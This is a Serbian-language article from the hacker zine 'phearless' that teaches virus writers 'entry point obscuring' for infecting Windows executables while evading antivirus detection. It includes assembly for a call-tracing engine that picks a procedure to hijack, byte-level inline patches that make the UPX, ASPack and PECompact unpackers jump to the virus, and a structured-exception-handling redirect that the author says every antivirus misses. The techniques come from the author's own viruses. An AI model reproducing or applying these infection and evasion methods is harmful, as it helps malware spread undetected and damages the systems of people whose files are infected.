................... ...::: phearless zine #3 :::... .....................>---[ Smart EPO Techniques ]---<...................... ...........................>---[ by deroko ]---<........................... deroko[at]gmail[dot]com 1. Nekoliko uvodnih reci 2. EPO kroz dizzy 3. Pakeri kao EPO 4. EPO na nepakovanim fajlovima #2 5. Poslednje reci... //////////////////////////////////////////////////////////////////////////// --==<[ 1. Nekoliko uvodnih reci \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Davno su prosla vremena kada ste vi mogli da izvrsavate virus redirekcijom EntryPointa na vas kod. Virusopisci su razvili mnoge tehnike za skrivanje svog koda unutar inficiranog fajla, ali koliko sam ja uspeo da primetim, njima kao da nedostaje mastovitost. Sve EPO tehnike na koje sam napisao su lake za detekciju jer se pojavljuju odmah iza EntryPointa, mozda 5-6 instrukcija tako da emulacija nije nesto narocito potrebna. Neki su pokusali da hookuju IAT callgate (da ga tako nazovem) sto je poprilicno dobra opcija, neki su kao z0mbie isli do ludila i rasturali ceo EXE fajla da bi ga ponovo sastavili sa virusom izmedju originalnih instrukcija, neki su isli putem patchovanja ExitProcess kako bi virus dobio kontrolu posle gasenja programa. To su tehnike koje su se meni licno svidele, a od kojih je najteze implementirati z0mbijev metod. Drugi virusi koriste dosta proste EPO tehnike, koje stoje odmah na EntryPointu i redirektuju izvrsavanje na sam virus prostim jmp, call, ili push/ ret kombinacijom. Takve viruse je danas lako detektovati, cak sta vise bez, ikakvih problema takve viruse danas detektuju gotovo svi. Premda laki za detekciju mnogi autori se i dalje oslanjaju na te tehnike. Ono sto sam ja hteo ovim tutorialom da pokazem je da ljudska mastovitost moze biti mnogo bolja od heuristike koja je jedan obican isprogramirani algoritam i nista vise... algoritam na kome AV kompanije uzimaju milione i milione dolara lazuci svoje musterije da pruzaju najbolju zastitu. Ja vas otvoreno pitam : "Kakva je to zastita ako je zaobidjem za 2h?", jer to znaci da sam ja pametan??? ili su AV kompanije glupe??? ili su AV kompanije prodavci magle??? Ima istine u sve 3 konstatacije. Ja nisam glup, ali nisam ni Ajnstajn, 2. AV kompanije nisu glupe, vec naprotiv, mrzi ih da rade, 3. Da, AV kompanije prodaju maglu svojim musterijama. Cesto mi je smesno kad negde vidim kako se neuki ljudi trude da pokazu svoje znanje, ili bolje reci neznanje, prepucavajuci se oko toga koji je AV najbolji. Medju ovim znalcima dominiraju pristalice KAVa, premda nisu ni svesni da se taj AV da zaobici bez nekih muka, dovoljan je obican i prost EPO (jmp/call/push/ret) i eto, sredili smo KAV. Ostali se malo batrgaju, ali ni oni ne ostavljaju bolji utisak na mene. Jednom recju drzim AV da me stiti od postojecih virusa (da, da koristim NOD32 i nek me cik neko od "znalaca" nadjaca argumentima) i tu i tamo ako ukeba neki novi. Za gospodu koja se stalno inficira novim virusima imam jednu lepu recenicu : "Alo manijaci ne idite vise na porno sajtove, kako vas nije sramota!!!!!"... Blah, red je da pricamo o nekim tehnikama EPO koje ce nam otvoriti oci i pokazati AVovima da moraju jos da rade... Ovde necu opisivati EPO koji sam koristio u blackhand jer sam njega vec ranije objasnio, iskreno, moram priznati, taj virus, jeste meni najdrazi virus, jer mi je prvi, premda obiluje neoptimizovanim kodom, ali je moj =) Pa da pocnemo... //////////////////////////////////////////////////////////////////////////// --==<[ 2. EPO kroz dizzy \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ dizzy engine iza sebe ima duzu istoriju. Videvsi z0mbijev algoritam za disasemblovanje fajla hteo sam i ja tako nesto da uradim, u te svrhe poceo sam da pisem moji dizzy engine. Medjutim, kako su ispiti pritiskali, nikad nisam stigo da ga zavrsim, nabrzaka sam samo sklepao engine koji trazi i markira sve funkcije u okviru nekog EXE fajla. Hmmm nije lose, sto je najcrnje on radi bez greske. Kako to dizzy radi i kako sam ja to sve zamislio? Prvo i osnovno je da krenemo od pocetka samog programa, tj. EntryPointa i tracujemo callove i svaki call pratimo, pri cemu, svaki ret znaci da izlazimo iz call-a u koji smo usli. Postavimo hipoteticki to ovako: nop <---- EntryPoint call __1 nop call __2 nop call __3 ret <---- Kraj programa __1: ret __2: ret: __3: ret i ucitavamo dizzy engine gde dajemo adresu EntryPointa nasem engine-u. (nemojte se osvrati na sintaksu koju koristim ovde, jer je mesavina C/asm) =) pri cemu je ldex86 nas length decoder koji koristimo ovde. call dizzy(EntryPoint); dizzy(EntryPoint){ pushad mov esi, EntryPoint __loop: push esi call ldex86 cmp byte ptr[esi], 0E8h <---da li je call jne __skip1 mov edx, esi add edx, 5 add edx, [esi+1] push edx call dizzy <---ulazimo u rekurziju u novu proceduru __skip1: cmp byte ptr[esi], 0xC3 <---da li je RETN ? je __exit cmp byte ptr[esi], 0xC2 <---da li je RET? je __exit add esi, eax jmp __loop <---i idemo na sledecu instrukciju __exit: ret } Normalno ovo je samo uproscena slika onog sto dizzy engine radi, da ne bih kopirao ceo kod koji zajedno sa ldex86 ima oko 1500 bajtova velicinu. Sada cemo pogurati dizzy engine kako bismo nasli sve callove i nasli neki pogodan za nase potrebe u koji cemo ubaciti redirekciju za virus. Mana i prednosti ovakvog nalazenja procedura i ubacivanja EPO je u sledecem: MANE: - mi ne znamo, niti mozemo znati na osnovu ovakve analize, da li ce se nas kod izvrsiti, tj. ne znamo da li ce se procedura uopste pozvati unutar koda. - upotrebljivo samo na fajlovima koji nisu pakovani niti kriptovani. PREDNOST: - mora se emulirati ceo kod, sto kod nekih glomaznih aplikacija moze dugooo da traje. Posto smo izanalizirali ceo kod, mozemo negde ubaciti nas EPO, medjutim svrha ovakvog EPO jeste da se virus izvrsi kao deo normalnog izvrsavanja koda. recimo: program ->>> VIRUS ->>> program nastavlja sa radom shodno tome moramo sacuvati sve registre, i po izlasku iz virusa vratiti originalnu funkciju na svoje mesto, popvratiti vrednost svih registra i nastaviti sa izvrsavanjem koda. Ovo je tehnika koju ja koristim u blacky virusu. Negde u hostu naci ce se sledeca sadrzina: pushad mov ebx, virus_va push ebx ret a po izlasu iz virusa videcete nesto ovako: mov [esp.Pushad_eax], ret_here popad push eax ret kako bi se vratio tamo odakle sam i hijackovao proceduru =) Evo i jedan mali isecak iz IDA-e, jer mi olly ne prepoznaje instrukcije. Ovo je pocetak iz Olly-ja sa EntryPointa: 00401000 > $ EB 10 JMP SHORT runtime.00401012 00401002 66 DB 66 ; CHAR 'f' 00401003 62 DB 62 ; CHAR 'b' 00401004 3A DB 3A ; CHAR ':' 00401005 43 DB 43 ; CHAR 'C' ali se nas EPO tek pojavljuje ovde -> .text:00407D8C mov dword_40CEC8, 1 .text:00407D96 mov dword_40CECC, esi .text:00407D9C lea ecx, [ebp-8] .text:00407D9F mov dword_40CEB4, ecx .text:00407DA5 call __InitDefaultHander Evo ga call koji je hookovan -> .text:004030EC __InitDefaultHander proc near ; CODE XREF: sub_401012+6D93p .text:004030EC pusha .text:004030ED mov ebx, 411200h .text:004030F2 push ebx .text:004030F3 retn .text:004030F3 __InitDefaultHander endp ; sp = -24h .text:004030F3 i ovo ce skociti na nas Viri koji ce posle izvrsavanja vratiti procduru kako je i izgledala pre infekcije, onda ce vratiti izvrsavanje na pocetak procedure jer je program hteo nju da izvrsi, ali je zavrsio na blacky-ju. Sad da vidimo da se virus nadje bez kompletne emulacije samog koda, sto moze trajati poprilicno. //////////////////////////////////////////////////////////////////////////// --==<[ 3. Pakeri kao EPO \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Do sada je vec poznato da vecina programa koje skidamo sa neta nije u idealnoj formi, tj. da je pakovana ili protektovana. Vecina komercijalnih aplikacija moze se naci u vidu nekih zeznutih pakera i protektora kao sto je Armadilo, za koji licno ne znam kako da inline patchujem. No za ovu sekciju je bitno da same pakere i protektore koristimo kao EPO. Ehhh, ovde moramo malo pribeci polju RCE i baviti se inline pathovanjem pojedinih pakera za koje znamo da uspesno mozemo inficirati. Ja sam za sad uspeo uspesno da inficiram UPX, ASpack i PECompact 2.59 sto sam i ubacio u virus Nanomites.w32 (ne ovo vam necu dati jer imam jos pakera da dodam u njega pre nego sto odlucim da ga posaljem AV kompanijama). Kod ove tehnike je bitno da identifikujemo paker sto se lako radi preko signature bajtova. Naime uzmete nekoliko pocetnih bajtova pakera (ja sam se opredelio za 13) i njih poredite. U zavisnosti od pakera pocinjete inline patchovanje (automatski proces) koji morate da implementirate u Viri. Potom cete patchovati da umesto da na dekriptovan HOST paker skoci na vas virus koji ce potom skociti na HOSTa... Krenimo prvo sa UPXom: Kraj samog UPXa izgleda ovako : 00414B16 .^EB E1 JMP SHORT test.00414AF9 00414B18 > FF96 AC400100 CALL DWORD PTR DS:[ESI+140AC] 00414B1E > 61 POPAD 00414B1F .-E9 DCC4FEFF JMP test.00401000 gde nas JMP baca na OEP. odlicno, 6 bajtova za nas (popad + jmp), to cemo patchovati na sledeci nacin: push virus_va (5 byte) ret (1 byte) ili kako bi Nanomites.w32 uradio -> 00414B18 |> FF96 AC400100 CALL DWORD PTR DS:[ESI+140AC] 00414B1E |> 68 00524100 PUSH test.00415200 00414B23 \. C3 RETN b00m kad se program otpakuje idemo na virus... Sad uzmimo ASPack 2.12 0041339A B8 00100000 MOV EAX,1000 0041339F 50 PUSH EAX 004133A0 0385 22040000 ADD EAX,DWORD PTR SS:[EBP+422] 004133A6 59 POP ECX 004133A7 0BC9 OR ECX,ECX 004133A9 8985 A8030000 MOV DWORD PTR SS:[EBP+3A8],EAX 004133AF 61 POPAD 004133B0 75 08 JNZ SHORT test.004133BA 004133B2 B8 01000000 MOV EAX,1 004133B7 C2 0C00 RETN 0C 004133BA 68 00104000 PUSH test.00401000 004133BF C3 RETN MOV EAX, 1000 je RVA OEPa tako da ovde to moramo patchvati sa RVA naseg virusa. Nista prostije, nadjimo ovo mov eax, 1000h i tamo ubacimo MOV EAX, RVA_VIRUS 0041339A B8 00500100 MOV EAX,15000 0041339F 50 PUSH EAX 004133A0 0385 22040000 ADD EAX,DWORD PTR SS:[EBP+422] 004133A6 59 POP ECX 004133A7 0BC9 OR ECX,ECX 004133A9 8985 A8030000 MOV DWORD PTR SS:[EBP+3A8],EAX 004133AF 61 POPAD 004133B0 75 08 JNZ SHORT test.004133BA 004133B2 B8 01000000 MOV EAX,1 004133B7 C2 0C00 RETN 0C 004133BA 68 00504100 PUSH test.00415000 004133BF C3 RETN Sad samo sacekajmo da ASPack pokusa da skoci na OEP, skocice na nas virus. Sad uzmimo PECompact 2.59... On je malo duhovit, ali je lak za inline patchovanje, naime kod UPX adresu OEPa nalazimo racunanjem gde bi JMP trebalo da skoci, a kod ASPack dodavanjem vrednosti koja je ranije stajala na mestu: MOV EAX, OEP_RVA... Naime PECompact 2.59 pocinje na OEPu, pa onda skace na zadnji section i tu nalazimo gde je OEP. uzmimo primer : 00401000 > $ B8 0C3D4100 MOV EAX,test.00413D0C 00401005 . 50 PUSH EAX 00401006 . 64:FF35 000000>PUSH DWORD PTR FS:[0] 0040100D . 64:8925 000000>MOV DWORD PTR FS:[0],ESP 00401014 . 33C0 XOR EAX,EAX 00401016 . 8908 MOV DWORD PTR DS:[EAX],ECX ovde lako i nalazimo gde nam paker pocinje, MOV EAX, 413D0C je adresa SEHa koji ce biti pozvan a uzgred se nalazi u poslednjem sectionu. Interesantno je da neki sugavi AVovi nalaze PECompact kao Safik-P (tako nesto) ili Mytob(tako nes) kad je obicna, neificirana aplikacija pakovana njime... ja sam mislio da AVovi nalaze moj virus, i 2-3 dana sam proveo menjajuci virus dok mi nije palo napamet da probam sa obicnom "Hello world" aplikacijom i b00m, Sybari i CalmAV su me tu razocarali =) No vratimo se nasem problemu. Vidimo da imamo malo posle postavljanja SEHa : xor eax, eax mov [eax], ecx sto ce prouzrokovati da se skoci na nas SEH handle i ako to sve lepo ispratimo imacemo ovako nesto na kraju: 00413DD3 5A POP EDX 00413DD4 5E POP ESI 00413DD5 5F POP EDI 00413DD6 59 POP ECX 00413DD7 5B POP EBX 00413DD8 5D POP EBP 00413DD9 FFE0 JMP EAX Bingo, EAX ce imati VA OEPa (tj. mesto odakle je poceo PECompact) i tamo treba da skoci, pathovanje ovde nije nikakav probelm i izgleda ovako -> 00413DD3 B8 003E4100 MOV EAX,test.00413E00 00413DD8 FFE0 JMP EAX i idemo sa nasim virusem... Ovde sam samo izneo ideje kako biste mogli da pravite pametne EPO, a ne da se oslanjate na lako detektovane jmp/call/push/ret kombinacije odmah na OEPu... takodje nije lose koristiti neki ldex86 kako biste nasli duzinu instrukcija od pocetka EPa i znali gde recimo da ubacite vas redirect virusa, ali nemojte nikako stavljati odmah JMP/CALL/PUSH/RET na pocetak samog EP. //////////////////////////////////////////////////////////////////////////// --==<[ 4. EPO na nepakovanim fajlovima #2 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Ok ipak ste se odlucili da ne koristite dizzy fazon na ovakvim fajlovima i ocete da napravite prost EPO, sto da ne =) Moj savet, na kom pucaju svi AVovi je da to uradite preko SEHa i generisanja nekog Exceptiona, primer: begin: push 12345678h patch_seh = $-4 push dword ptr FS:[0] mov dword ptr FS:[0], esp xor ecx, ecx div ecx jmp begin sehhandle: mov ebx, [esp+0Ch] mov [ebx.CONTEXT_Eip], 12345678h patch_seh_virus = $-4 xor eax, eax ret end_epo: Sta cete ovde uraditi je sledece, izracunati gde ce se u memoriji nalaziti SEH handle i virus : na patch_seh cete staviti adresu sehhandle-a koja ce biti (EntryPoint + (sehhandle - begin)), a na patch_seh_virus adresu vaseg virusa u memoriji. Posle exceptiona EIP ce biti redirektovan na virus, ne znam zasto, ali svi AVovi padaju na ovom triku... //////////////////////////////////////////////////////////////////////////// --==<[ 5. Poslednje reci... \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Pa sad ste videli demonstraciju nekih stvari koje su odista sprovedene u zivot, testirane na nekoliko aplikacija i to bez problema. AVovi su nemi, jos nisu videli ovakvo iskoriscavanje pakera. To bi znacilo da virus ima 3 EPO za pakere i 1 EPO za nepakovane fajlove... Zar to nije cool? Prosudite sami... deroko (gmailcom>) Greetz: svima koji vise na #blackhat...